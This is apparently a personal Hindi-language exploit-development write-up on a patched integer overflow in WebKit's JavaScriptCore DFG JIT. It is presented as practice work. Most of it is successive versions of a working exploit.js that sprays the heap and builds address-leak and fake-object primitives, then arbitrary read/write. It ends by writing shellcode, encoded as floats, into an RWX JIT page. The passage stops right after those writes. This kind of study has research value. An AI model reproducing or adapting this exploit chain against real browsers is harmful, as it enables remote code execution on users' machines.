
JavaScriptCore में एक पैच की गई कमजोरी का शोषण
यह WebKit में एक कमजोरी का शोषण है, जिसे मूल रूप से Fluoroacetate द्वारा वैंकूवर में pwn2own प्रतियोगिता के दौरान खोजा गया था। जबकि मैंने इस बग की खोज नहीं की, मैंने अपने शोषण विकास कौशल का अभ्यास करने के लिए यह शोषण लिखा। इस शोषण के लिए मूल लेख यहाँ Zero Day Initiative से है। जबकि यह लेख बहुत अच्छा है और कमजोरी को समझने में मेरी मदद करने में सहायक था, यह किसी ऐसे व्यक्ति के दृष्टिकोण से है जो कमजोरी को सत्यापित कर रहा है। मैंने पाया कि जब इस शोषण को खरोंच से इंजीनियर करने का प्रयास किया जाता है तो कुछ महत्वपूर्ण विवरण गायब होते हैं और मुझे आशा है कि मैं ZDI लेख में छूटे कुछ अंतरालों को भरूंगा और एक जटिल शोषण को खरोंच से इंजीनियर करने के व्यावहारिक कौशल प्राप्त करूंगा।
ये चरण JavaScriptCore (JSC), WebKit के JavaScript इंजन, में मनमाना कोड निष्पादन प्राप्त करने की रूपरेखा के रूप में कार्य करते हैं
जिस कमजोरी का शोषण किया जाएगा वह एक पूर्णांक अतिप्रवाह है जो WebKit के DFG जस्ट इन टाइम (JIT) कंपाइलर द्वारा उत्पादित कोड में होता है। यह विशेष रूप से compileNewArrayWithSpread फंक्शन में होता है। जब DFG द्वारा जावास्क्रिप्ट स्प्रेड सिंटैक्स का उपयोग करके एक नई सरणी बनाने वाले कोड को JIT किया जाता है, तो यह फंक्शन कॉल किया जाएगा।

JIT कोड के अंदर, पहले यह सरणी के आकार की गणना करेगा। यह सरणी कंस्ट्रक्टर को पास किए गए प्रत्येक तर्क की लंबाई जोड़कर करता है। जैसे-जैसे यह प्रत्येक जोड़ के लिए आकार की गणना करता है, यह आकार के अतिप्रवाह की जाँच करता है। इसके बाद यह compileAllocateNewArray फंक्शन को कॉल करेगा, जो इस फंक्शन में गणना की गई लंबाई को पास करता है।

compileAllocateNewArray फिर पहले गणना की गई लंबाई को emitAllocateButterfly को पास करेगा।

emitAllocateButterfly फिर आकार को 3 बिट बाईं ओर शिफ्ट करेगा जो इसे 8 से गुणा करने के बराबर है। हालाँकि, अतिप्रवाह के लिए कोई जाँच नहीं है और इस प्रकार 0x20000001 जैसी संख्या 0x8 में अतिप्रवाह कर सकती है।
यह C प्रोग्राम इस कमजोरी को दर्शाता है:


हम इस कमजोरी का उपयोग करके जावास्क्रिप्ट इंजन को यह सोचने में धोखा दे सकते हैं कि हमने आकार 0x20000001 की एक सरणी आवंटित की है, लेकिन वास्तव में केवल 1 JSValue (8 बाइट्स) के लिए पर्याप्त स्थान आवंटित किया है। इसके परिणामस्वरूप एक आउट-ऑफ-बाउंड्स (OOB) रीड और राइट (R/W) प्रिमिटिव प्राप्त होगा, जिसका उपयोग मनमाना R/W और अंततः रिमोट कोड निष्पादन (RCE) प्राप्त करने के लिए किया जा सकता है।
यह पुष्टि करने के लिए कि हमारे पास OOB रीड है, हम JSC के एड्रेस सैनिटाइज़र (ASAN) बिल्ड पर इस कमजोरी को ट्रिगर करने का प्रयास करेंगे।
ऐसा करने के लिए WebKit निर्देशिका से हम कमांड चला सकते हैं:```bash Tools/Scripts/set-webkit-configuration --asan Tools/Scripts/build-jsc --jsc--only --debug
यह JSC का ASAN सक्षम के साथ एक डीबग बिल्ड बनाएगा जो हमें यह सत्यापित करने की अनुमति देगा कि क्या हमने सफलतापूर्वक कमजोरी को ट्रिगर किया है या नहीं।
यहाँ exploit.js का पहला पुनरावृत्ति है।```javascript
function jitMe(array){
return [...array]
}
let dummy = [1.1]
for(let i = 0; i < 200; i++){
jitMe(dummy);
}
let a = []
let len = 0x20000001
for(let i = 0; i < len; i++){
a[i] = 1.1
}
jitMe(a)
यह चलाने पर मुझे निम्नलिखित त्रुटि मिलती है:
Program terminated with signal SIGKILL, Killed. The program no longer exists.
मेरा अनुमान था कि इतनी बड़ी ऐरे आवंटित करने का प्रयास करते समय बहुत अधिक मेमोरी खपत हो रही थी। इसकी पुष्टि करने के लिए, मैंने m_jit.breakpoint() को compileNewArrayWithSpread के अंदर कॉल जोड़कर JITed कोड में एक ब्रेकपॉइंट जोड़ा, जो JITed कोड में एक int3 निर्देश जोड़ता है।
ब्रेकपॉइंट जोड़ने के बाद मुझे पता चला कि वह हिट नहीं हुआ और फिर मैंने 0x20001 की लंबाई का परीक्षण करने का निर्णय लिया। तब मुझे एहसास हुआ कि कोड संकलित भी नहीं किया जा रहा था, इसलिए मैंने DFG कंपाइलर को सक्रिय करने के लिए और अधिक पुनरावृत्तियाँ जोड़ दीं।```javascript function jitMe(array){ for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array] }
let dummy = [1.1] for(let i = 0; i < 60; i++){ print(i) jitMe(dummy); }
let a = []
let len = 0x20000001
for(let i = 0; i < len; i++){ a[i] = 1.1 }
jitMe(a)
प्रोग्राम को जैसा है वैसा परीक्षण करने पर अभी भी SIGKILL होता है, हालांकि, छोटी लंबाई के साथ परीक्षण करने पर, ब्रेकपॉइंट हिट हो जाता है। इस बिंदु पर मुझे अभी भी ऐसा लगता है कि JSC उस बड़ी सरणी को संसाधित करने का प्रयास करते समय मेमोरी से बाहर हो रहा है।
इससे निपटने के लिए, मैंने एक छोटी `a` सरणी आवंटित करने का निर्णय लिया और फिर निम्नलिखित `exploit.js` के परिणामस्वरूप दूषित सरणी बनाते समय इसे कई बार उपयोग करने के लिए स्प्रेड सिंटैक्स का उपयोग किया।```
function jitMe(array){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array]
}
let dummy = [1.1]
for(let i = 0; i < 100; i++){
print(i)
jitMe(dummy);
}
let a = []
let len = 0x20000010 / 0x10
for(let i = 0; i < len; i++){
a[i] = 1.1
}
jitMe(a)
इस कोड का उपयोग करके हम SIGKILL के बिना ब्रेकपॉइंट हिट करने में सक्षम थे! जैसा कि आमतौर पर होता है, एक समस्या को ठीक करने पर दूसरी समस्या सामने आती है और हमें इसके बजाय SIGABORT मिला... gdb bt कमांड का उपयोग करके हम देख सकते हैं कि operationNewArrayWithSize को कॉल किया गया, जिसने create को कॉल किया।
यह अजीब लगता है कि हमारा JITed कोड operationNewArrayWithSize को कॉल कर रहा होगा और यह निश्चित रूप से होना चाहिए कि JITed कोड को किसी कारण से जावास्क्रिप्ट इंजन के लिए धीमा पथ लेना पड़ा।

हम compileAllocateNewArrayWithSize में देख सकते हैं कि वास्तव में operationNewArrayWithSize के लिए एक बेलआउट है। फिर हमें यह पता लगाने की आवश्यकता है कि वास्तव में हम धीमे मामले में क्यों बेल आउट कर रहे हैं।
हम देख सकते हैं कि compileNewArrayWithSpread में shouldConvertLargeSizeToArrayStorage को false पर सेट किया गया है और वह धीमा पथ संकलित कोड में नहीं होगा।
इसलिए यह समझ में आता है कि धीमा पथ emitAllocateJSObject के भीतर कहीं हिट हो रहा है।

emitAllocateJSObject emitAllocateJSCell को कॉल करता है, जो बदले में emitAllocate को कॉल करता है।


WebKit एलोकेटर कैसे काम करता है इसका कोई ज्ञान न होने पर यह काफी भ्रमित करने वाला लगता है। इसलिए मैंने कुछ ब्रेकपॉइंट जोड़ने और gdb में उनसे कदम-दर-कदम गुज़रने का निर्णय लिया।
emitAllocateButterfly द्वारा कॉल किए गए emitAllocateVariableSized में सेट किए गए ब्रेकपॉइंट को हिट करने के बाद हम निम्नलिखित असेंबली कोड देखते हैं:
जो JIT कंपाइलर द्वारा यहाँ उत्सर्जित कोड से मेल खाता है:
हम देख सकते हैं कि आवंटन आकार में 0xf जोड़ा जाता है फिर दाएँ 4 बिट शिफ्ट किया जाता है। फिर इसकी तुलना 0x1f6 से की जाती है, जो धीमे पथ शाखा के अनुरूप है। उसके बाद यह सबस्पेस एलोकेटर को rsi में ले जाएगा और किए गए गणनाओं के आधार पर इस पॉइंटर में इंडेक्स करेगा। फिर हम ब्रेकपॉइंट पर जारी रखते हैं जो emitAllocateWithNonNullAllocator में रखा गया था, निम्नलिखित असेंबली कोड खोजने के लिए:

जो JIT कंपाइलर द्वारा यहाँ उत्सर्जित कोड से मेल खाता है:
अब जब हमने असेंबली के कुछ हिस्सों से कदम उठाया है, तो हमारे पास थोड़ा और संदर्भ है कि क्या हो रहा है। दो और निर्देशों के लिए कदम बढ़ाने पर हम देखते हैं कि हम जंप लेंगे:

C++ कोड को देखकर हम अनुमान लगा सकते हैं कि इसका मतलब है कि इस एलोकेटर की मुक्त सूची में शून्य स्थान शेष है, इसलिए यह पॉप पथ लेगा।

जंप करने और अगले दो निर्देशों को निष्पादित करने पर हम देखते हैं कि जंप सीधे धीमे पथ को लेने के अनुरूप है। हम धीमा पथ लेते हैं क्योंकि एलोकेटर का रहस्य एलोकेटर के स्क्रैम्बल्ड हेड के साथ XOR किया जाता है और परिणाम शून्य होता है। WebKit एलोकेटर के बारे में अधिक ज्ञान के बिना यह पता लगाना मुश्किल है कि वास्तव में क्या हो रहा है।
जबकि मुझे WebKit एलोकेटर के बारे में अधिक जानने में समय बिताना अच्छा लगता, मैंने सोचा कि इससे निपटने का एक आसान तरीका कुछ विचारों को आज़माना होगा और देखना होगा कि क्या वे किसी भिन्न परिणाम की ओर ले जाते हैं और वहाँ से डीबग करना होगा।
मेरे विचारों में से एक यह था कि आकार 0x10 की एक सरणी आवंटित की जाए क्योंकि यह हमारी उस सरणी के समान आवंटन चरण आकार में होगी जो भेद्यता को ट्रिगर करेगी और फिर आकार 1 की एक सरणी के साथ jitMe को कॉल किया जाए। चूँकि हम एलोकेटर का पता जानते हैं, हम उन मानों पर एक वॉच पॉइंट सेट कर सकते हैं जो शाखाओं की ओर ले जाते हैं और देख सकते हैं कि वे कब बदलते हैं। मेरे पास यह विचार इसलिए था क्योंकि मैंने सोचा कि एक ऐसी वस्तु आवंटित करना जो समान चरण आकार में हो, एलोकेटर को एक अलग, अधिक दिलचस्प स्थिति में ले जा सकती है। इससे exploit.js का अगला पुनरावृत्ति आता है।```javascript
function jitMe(array){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array]
}
let dummy = [1.1] for(let i = 0; i < 80; i++){ print(i) jitMe(dummy); }
let a = []
let len = 0x20000010 / 0x10
for(let i = 0; i < len; i++){ a[i] = 1.1 }
let x = new Array(0x10) let b = [1.1]
jitMe(b)
jitMe(a)
Testing this idea worked!
हम देख सकते हैं कि छोटे array पर `jitMe` का परीक्षण करते समय हम slow path नहीं लेते! फिर हम r8 + 0x18 पर एक watch point सेट करते हैं ताकि देख सकें कि यह मान कब शून्य होता है। watch point पर हिट करने के बाद हमें निम्नलिखित backtrace मिलता है:

back trace में फ़ंक्शनों के नामों के आधार पर ऐसा लगता है कि एक garbage collection की जा रही है जो `secret` और `scrambledHead` के मान को 0 सेट कर देती है।
कॉल स्टैक के अनुसार हम जानते हैं कि `createFromArray` में `tryCreate` का कॉल garbage collection को ट्रिगर करने के लिए जिम्मेदार है।

`createFromArray` के अंदर यह प्रत्येक तत्व को भी लूप करके एक्सेस करेगा और यदि हम allocator को पुनः प्रारंभ करने के लिए कॉल को इंटरसेप्ट कर सकते हैं, तो हम इसे slow path लेने से रोक सकते हैं।
exploit.js:```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
let dummy = [1.1]
for(let i = 0; i < 80; i++){
jitMe(dummy, dummy);
}
let a = []
let len = 0x20000010 / 0x10
for(let i = 0; i < len; i++){
a[i] = 1.1
}
let b = [];
b.length = 1;
b.__defineGetter__(0, () => {
let x = new Array(0x10)
})
jitMe(a, b)
हमें एक ASAN त्रुटि मिलती है!
अब जब हम विश्वसनीय रूप से कमजोरी को ट्रिगर कर सकते हैं, तो हम अपने OOB R/W प्रिमिटिव का उपयोग करके आगे मेमोरी को दूषित करना और एक type confusion प्रिमिटिव प्राप्त करना चाहते हैं। पहला कदम JSC को ASAN अक्षम करके पुनर्संकलित करना है। ऐसा करने के बाद हम exploit.js को फिर से चलाते हैं और निम्नलिखित क्रैश प्राप्त करते हैं

हम देख सकते हैं कि हम इसे 0x3ff299999999999a पर इंगित करने के लिए दूषित कर रहे हैं जब हम python struct मॉड्यूल का उपयोग करके float मान 1.1 को बाइट्स में परिवर्तित करते हैं तो हमें वही मिलता है जिसकी हम उम्मीद करते हैं: 0x3ff299999999999a 
अब जब हम देख सकते हैं कि हमने मेमोरी दूषण प्राप्त कर लिया है, तो हमें इसे type confusion में बदलने के लिए कुछ heap massaging करने की आवश्यकता है। विचार यह होगा कि ArrayWithDoubles और ArrayWithContiguous की एक संख्या स्प्रे करें और butterfly की लंबाई को दूषित करें ताकि हम इन सरणियों के साथ सीमा से बाहर पहुंच प्राप्त कर सकें और एक type confusion प्राप्त कर सकें। उम्मीद है, पर्याप्त सरणियाँ आवंटित करने से सीमा से बाहर पहुंच किसी भी महत्वपूर्ण मूल्यों को दूषित करने से रोकेगी।```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
print("[+] JIT compiling the vulnerable function ") let dummy = [1.1] for(let i = 0; i < 85; i++){ jitMe(dummy, dummy); }
dummy = 0
let a = []
let len = 0x20000010 / 0x10
print("[+] Making array to trigger the overflow") for(let i = 0; i < len; i++){ a[i] = -3.7206620809969885e-103; }
let b = []; b.length = 1;
let sprayedArrays = [] let arrayWithDouble = [] let arrayWithContiguous = []
print("[+] Making arrays to prevent slow path") // this array can only contain doubles for(let i = 0; i < 0x10; i++){ arrayWithDouble[i] = 2.0286158381253047e-252 }
// this array can contain doubles and objects for(let i = 0; i < 0x10; i++){ arrayWithContiguous[i] = {} }
b.defineGetter(0, () => { for(let i = 0; i < 0x8000; i++){ // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory if(i % 2 == 0){ // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator sprayedArrays[i] = arrayWithDouble.slice(); }else{ sprayedArrays[i] = arrayWithContiguous.slice(); } } }) print("[+] Triggering the overflow") let badArray = jitMe(a, b)
इन ऐरेज़ को स्प्रे करने के बाद, वे `badArray` के डेटा से ओवरराइट कर दिए जाएंगे। हालाँकि, यह हमारे आउट ऑफ़ बाउंड्स लिखने के बाद सेग फॉल्ट को रोक देगा। एक भ्रष्ट करने योग्य ऐरे प्राप्त करने के लिए, हम तीन और ऐरे आवंटित कर सकते हैं, एक ArrayWithDouble, उसके बाद एक ArrayWithContiguous, और फिर एक ArrayWithDouble। एक बार जब हम ऐरे को भ्रष्ट कर देते हैं, तो हम ArrayWithContiguous में एक ऑब्जेक्ट लिख सकते हैं और उसे ArrayWithDouble से पढ़ सकते हैं ताकि एक टाइप कन्फ्यूज़न बना सकें और एक एड्रेस पढ़ सकें। इसके अतिरिक्त, हम दूसरे ArrayWithDouble में एक एड्रेस लिख सकते हैं और उसे ArrayWithContiguous से पढ़ सकते हैं ताकि निर्दिष्ट एड्रेस पर एक फेक ऑब्जेक्ट प्राप्त कर सकें।
इसे लागू करने पर हमें मिलता है:```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
print("[+] JIT compiling the vulnerable function ")
let dummy = [1.1]
for(let i = 0; i < 85; i++){
jitMe(dummy, dummy);
}
dummy = 0
let a = []
let len = 0x20000010 / 0x10
print("[+] Making array to trigger the overflow")
for(let i = 0; i < len; i++){
a[i] = -3.7206620809969885e-103;
}
let b = [];
b.length = 1;
let sprayedArrays = []
let arrayWithDouble = []
let arrayWithContiguous = []
print("[+] Making arrays to prevent slow path")
// this array can only contain doubles
for(let i = 0; i < 0x10; i++){
arrayWithDouble[i] = 2.0286158381253047e-252
}
// this array can contain doubles and objects
for(let i = 0; i < 0x10; i++){
arrayWithContiguous[i] = {}
}
b.__defineGetter__(0, () => {
for(let i = 0; i < 0x8000; i++){
// we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory
if(i % 2 == 0){
// We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator
sprayedArrays[i] = arrayWithDouble.slice();
}else{
sprayedArrays[i] = arrayWithContiguous.slice();
}
}
})
print("[+] Triggering the overflow")
let badArray = jitMe(a, b)
// read address from this array
sprayedArrays[0] = arrayWithDouble.slice();
// insert address to read into this array and get fake objects from this array
sprayedArrays[1] = arrayWithContiguous.slice();
// insert address of fake objects into this array
sprayedArrays[2] = arrayWithDouble.slice();
// helper arrays to do float and integer conversions
var backingBuffer = new ArrayBuffer(8)
var f = new Float64Array(backingBuffer)
var i = new Uint32Array(backingBuffer)
function i2f(num) {
i[0] = num % 0x100000000
i[1] = num / 0x100000000
return f[0]
}
function f2i(num) {
f[0] = num
return (i[1] * 0x100000000) + i[0]
}
print("[+] Getting leakAddr and fakeObj primitives")
let NEW_LENGTH = 21
let LEAK_ARRAY_INDEX = 0
let FAKE_ARRAY_INDEX = 1
badArray[19] = NEW_LENGTH;
badArray[39] = NEW_LENGTH;
function leakAddr(obj) {
sprayedArrays[1][0] = obj;
let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1];
return f2i(floatAddr);
}
function fakeObj(addr) {
let floatAddr = i2f(addr)
sprayedArrays[2][0] = floatAddr
return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1]
}
अब जब हमारे पास एक फेक ऑब्जेक्ट और एक एड्रेस लीक करने का प्रिमिटिव है, तो हमारा अगला लक्ष्य मनमाना पढ़ने-लिखने के प्रिमिटिव प्राप्त करना है। हमारी सामान्य रणनीति एक फेक ऑब्जेक्ट बनाना और उसके butterfly को ArrayWithDouble के butterfly की ओर इंगित करना होगी, और इस butterfly पर वह पता लिखना होगा जिसे हम पढ़ना या लिखना चाहते हैं। यह तकनीक मूल एक्सप्लॉइट में उपयोग की गई थी और इसका उल्लेख saelo ने इस लेख में किया है।
हालाँकि, ऐसा करने से पहले मुझे एक अप्रत्याशित त्रुटि का सामना करना पड़ा। मैंने पाया कि एक्सप्लॉइट में एक निश्चित मात्रा में कोड जोड़ने के बाद, भेद्यता को ट्रिगर करना काम नहीं करता था और मैं स्लो पथ पर पहुँच जाता था, जिससे मेमोरी से बाहर का अपवाद होता था।
इसे ठीक करने के लिए मैंने पाया कि मैं कोड को एक स्ट्रिंग के रूप में मान सकता हूँ और JavaScript eval फ़ंक्शन को कॉल कर सकता हूँ। किसी कारणवश यह इस समस्या को दूर करने में सक्षम था।
अपने फेक ऑब्जेक्ट को सेट करने के लिए हमें एक मान्य स्ट्रक्चर ID की आवश्यकता है। ऐसा करने के लिए हम बहुत सारी स्ट्रक्चर IDs को स्प्रे करते हैं और अपनी ID को एक अनुमानित स्ट्रक्चर ID पर सेट करते हैं।
ArrayWithDouble के butterfly को अधिलेखित करने के लिए, हमें लक्ष्य butterfly को इंडेक्स करने में सक्षम होना होगा। ऐसा करने के लिए हम तब तक ऐरे आवंटित करते रहते हैं जब तक कि पता स्प्रे की गई स्ट्रक्चर IDs ऐरे के मध्य तत्व के पते से बड़ा न हो जाए। फिर हम अपने फेक ऑब्जेक्ट के butterfly को इस मध्य तत्व पर सेट करते हैं और लक्ष्य butterfly को सेट करने के लिए फेक ऑब्जेक्ट butterfly में इंडेक्स करते हैं।```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
print("[+] JIT compiling the vulnerable function ") let dummy = [1.1] for(let i = 0; i < 85; i++){ jitMe(dummy, dummy); }
dummy = 0
let a = []
let len = 0x20000010 / 0x10
print("[+] Making array to trigger the overflow") for(let i = 0; i < len; i++){ a[i] = -3.7206620809969885e-103; }
let b = []; b.length = 1;
let sprayedArrays = [] let arrayWithDouble = [] let arrayWithContiguous = []
print("[+] Making arrays to prevent slow path") // this array can only contain doubles for(let i = 0; i < 0x10; i++){ arrayWithDouble[i] = 2.0286158381253047e-252 }
// this array can contain doubles and objects for(let i = 0; i < 0x10; i++){ arrayWithContiguous[i] = {} }
b.defineGetter(0, () => { for(let i = 0; i < 0x8000; i++){ // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory if(i % 2 == 0){ // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator sprayedArrays[i] = arrayWithDouble.slice(); }else{ sprayedArrays[i] = arrayWithContiguous.slice(); } } }) print("[+] Triggering the overflow") let badArray = jitMe(a, b) // read address from this array sprayedArrays[0] = arrayWithDouble.slice(); // insert address to read into this array and get fake objects from this array sprayedArrays[1] = arrayWithContiguous.slice(); // insert address of fake objects into this array sprayedArrays[2] = arrayWithDouble.slice();
//eval this code indirectly to prevent weird slow path crash let postTrigger = ` // helper arrays to do float and integer conversions var backingBuffer = new ArrayBuffer(8) var f = new Float64Array(backingBuffer) var i = new Uint32Array(backingBuffer)
function i2f(num) { i[0] = num % 0x100000000 i[1] = num / 0x100000000 return f[0] }
function f2i(num) { f[0] = num return (i[1] * 0x100000000) + i[0] }
print("[+] Getting leakAddr and fakeObj primitives")
let NEW_LENGTH = 21 let LEAK_ARRAY_INDEX = 0 let FAKE_ARRAY_INDEX = 1
badArray[19] = NEW_LENGTH; badArray[39] = NEW_LENGTH;
function leakAddr(obj) { sprayedArrays[1][0] = obj; let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1]; return f2i(floatAddr); }
function fakeObj(addr) { let floatAddr = i2f(addr) sprayedArrays[2][0] = floatAddr return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1] } / print("[+] Spraying structure IDs") // now predict structure id var sprayedStructureIDs = []
for(let x = 0; x < 0x400; x++){ let struct = {a:0x100, b:0x200, c:0x300, d:0x400, e:0x500, f:0x600, g:0x700} struct['addNewStructureId'+x] = 0x1337 sprayedStructureIDs[x] = struct; }
print("[+] Setting up the fake object") // set up the fake object // subtrace 0x1000000000000 to account for JS boxing var fakeHost = {a:i2f(0x0108200700000100 - 0x1000000000000), b:sprayedStructureIDs[0x80]};
// when we create a fake object the structure ID will be fakeStructureID and the butterfly will point to an object allocated in our sprayed array // we then want to allocate an array at a memory address greater than the butterfly and we use this object to overwrite the target butterfly var baseAddr = leakAddr(sprayedStructureIDs[0x80]) print("[+] Base address @ 0x" + baseAddr.toString(16)) var target = [] var targetAddr = leakAddr(target)
while(targetAddr < baseAddr){ target = [] targetAddr = leakAddr(target) }
// make sure target is ArrayWithDouble target[1] = 1.1
print("[+] Got a array with controllable butterfly") let fakeAddr = leakAddr(fakeHost) + 0x10 let hax = fakeObj(fakeAddr)
let targetButterflyIndex = ((targetAddr - baseAddr) / 8) + 1; let targetButterflyPointer = f2i(hax[targetButterflyIndex]) print("[+] target butterfly == 0x" + targetButterflyPointer.toString(16)) print("[+] target address @ 0x" + targetAddr.toString(16))
function setTargetButterfly(address) { hax[targetButterflyIndex] = i2f(address) }
print("[+] Got R/W primitive") `
eval(postTrigger)
- [x] array butterfly को भ्रष्ट करना ताकि read और write primitives प्राप्त हो सकें
### रेंडरिंग प्रक्रिया के अंदर आर्बिट्ररी कोड निष्पादन प्राप्त करना
अब जब हमारे पास read write primitive है, तो हमें बस एक JIT पेज को कस्टम shellcode से ओवरराइट करना है। हम JIT पेज को ओवरराइट करते हैं क्योंकि प्रक्रिया में यह संभवतः एकमात्र मेमोरी क्षेत्र होगा जो RWX के रूप में मैप किया गया होगा। जबकि हम इसके बजाय एक ROP chain और stack pivot का उपयोग करके मेमोरी क्षेत्र को RWX के रूप में मैप कर सकते हैं और अपना shellcode निष्पादित कर सकते हैं, यह बहुत सरल साबित होता है।
JIT पेज को ओवरराइट करने के लिए, हमें पहले एक JITed फ़ंक्शन की आवश्यकता है। मैंने उस `jitMe` फ़ंक्शन का उपयोग करने का विकल्प चुना जिसका उपयोग हमने भेद्यता को ट्रिगर करने के लिए किया था। यहाँ से मैंने gdb का उपयोग करके इस ऑब्जेक्ट में पॉइंटर्स का अनुसरण किया जब तक कि मैं JITed कोड वाली मेमोरी तक नहीं पहुँच गया। यह ध्यान दिया जाना चाहिए कि ये पॉइंटर ऑफ़सेट WebKit के इस संस्करण के लिए बहुत विशिष्ट हैं और संभावना है कि भविष्य में ये बदल सकते हैं। ऐसे एक्सप्लॉइट लिखते समय इस पर भरोसा नहीं किया जाना चाहिए जो WebKit के कई संस्करणों पर काम करने के लिए है।
JIT पेज का पॉइंटर मिलने के बाद, हमें एक कैलकुलेटर पॉप करने के लिए shellcode लिखना होगा। यह shellcode यहाँ देखा जा सकता है:

फिर हमें shellcode को असेंबल करना होगा, बाइट्स निकालने होंगे, और उन्हें floats में बदलना होगा जिन्हें हम अपने R/W primitive का उपयोग करके लिख सकते हैं।
यह हमें अंतिम exploit.js देता है:```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
print("[+] JIT compiling the vulnerable function ")
let dummy = [1.1]
for(let i = 0; i < 85; i++){
jitMe(dummy, dummy);
}
dummy = 0
let a = []
let len = 0x20000010 / 0x10
print("[+] Making array to trigger the overflow")
for(let i = 0; i < len; i++){
a[i] = -3.7206620809969885e-103;
}
let b = [];
b.length = 1;
let sprayedArrays = []
let arrayWithDouble = []
let arrayWithContiguous = []
print("[+] Making arrays to prevent slow path")
// this array can only contain doubles
for(let i = 0; i < 0x10; i++){
arrayWithDouble[i] = 2.0286158381253047e-252
}
// this array can contain doubles and objects
for(let i = 0; i < 0x10; i++){
arrayWithContiguous[i] = {}
}
b.__defineGetter__(0, () => {
for(let i = 0; i < 0x8000; i++){
// we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory
if(i % 2 == 0){
// We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator
sprayedArrays[i] = arrayWithDouble.slice();
}else{
sprayedArrays[i] = arrayWithContiguous.slice();
}
}
})
print("[+] Triggering the overflow")
let badArray = jitMe(a, b)
// read address from this array
sprayedArrays[0] = arrayWithDouble.slice();
// insert address to read into this array and get fake objects from this array
sprayedArrays[1] = arrayWithContiguous.slice();
// insert address of fake objects into this array
sprayedArrays[2] = arrayWithDouble.slice();
// helper arrays to do float and integer conversions
let postTrigger = `
var backingBuffer = new ArrayBuffer(8)
var f = new Float64Array(backingBuffer)
var i = new Uint32Array(backingBuffer)
function i2f(num) {
i[0] = num % 0x100000000
i[1] = num / 0x100000000
return f[0]
}
function f2i(num) {
f[0] = num
return (i[1] * 0x100000000) + i[0]
}
print("[+] Getting leakAddr and fakeObj primitives")
let NEW_LENGTH = 21
let LEAK_ARRAY_INDEX = 0
let FAKE_ARRAY_INDEX = 1
badArray[19] = NEW_LENGTH;
badArray[39] = NEW_LENGTH;
function leakAddr(obj) {
sprayedArrays[1][0] = obj;
let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1];
return f2i(floatAddr);
}
function fakeObj(addr) {
let floatAddr = i2f(addr)
sprayedArrays[2][0] = floatAddr
return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1]
}
print("[+] Spraying structure IDs")
// now predict structure id
var sprayedStructureIDs = []
for(let x = 0; x < 0x400; x++){
let struct = {a:0x100, b:0x200, c:0x300, d:0x400, e:0x500, f:0x600, g:0x700}
struct['addNewStructureId'+x] = 0x1337
sprayedStructureIDs[x] = struct;
}
print("[+] Setting up the fake object")
// set up the fake object
// subtrace 0x1000000000000 to account for JS boxing
var fakeHost = {a:i2f(0x0108200700000100 - 0x1000000000000), b:sprayedStructureIDs[0x80]};
// when we create a fake object the structure ID will be fakeStructureID and the butterfly will point to an object allocated in our sprayed array
// we then want to allocate an array at a memory address greater than the butterfly and we use this object to overwrite the target butterfly
var baseAddr = leakAddr(sprayedStructureIDs[0x80])
print("[+] Base address @ 0x" + baseAddr.toString(16))
var target = []
var targetAddr = leakAddr(target)
while(targetAddr < baseAddr){
target = []
targetAddr = leakAddr(target)
}
target[1] = 1.1
print("[+] Got a array with controllable butterfly")
let fakeAddr = leakAddr(fakeHost) + 0x10
let hax = fakeObj(fakeAddr)
let targetButterflyIndex = ((targetAddr - baseAddr) / 8) + 1;
let targetButterflyPointer = f2i(hax[targetButterflyIndex])
print("[+] target butterfly == 0x" + targetButterflyPointer.toString(16))
print("[+] target address @ 0x" + targetAddr.toString(16))
function setTargetButterfly(address) {
hax[targetButterflyIndex] = i2f(address)
}
print("[+] Got R/W primitive")
var myJitAddr = leakAddr(jitMe)
setTargetButterfly(myJitAddr+24)
var ptr1 = f2i(target[0])
setTargetButterfly(ptr1+8)
var ptr2 = f2i(target[2])
setTargetButterfly(ptr2-8)
target[0]=1.1
setTargetButterfly(ptr2+16)
var rwx = f2i(target[0])
print("[+] RWX address @ 0x" + rwx.toString(16))
setTargetButterfly(rwx)
target[0] = 7.724899899490056e+228
target[1] = 1.3869658928112658e+219
target[2] = -1.4290575191402725e-37
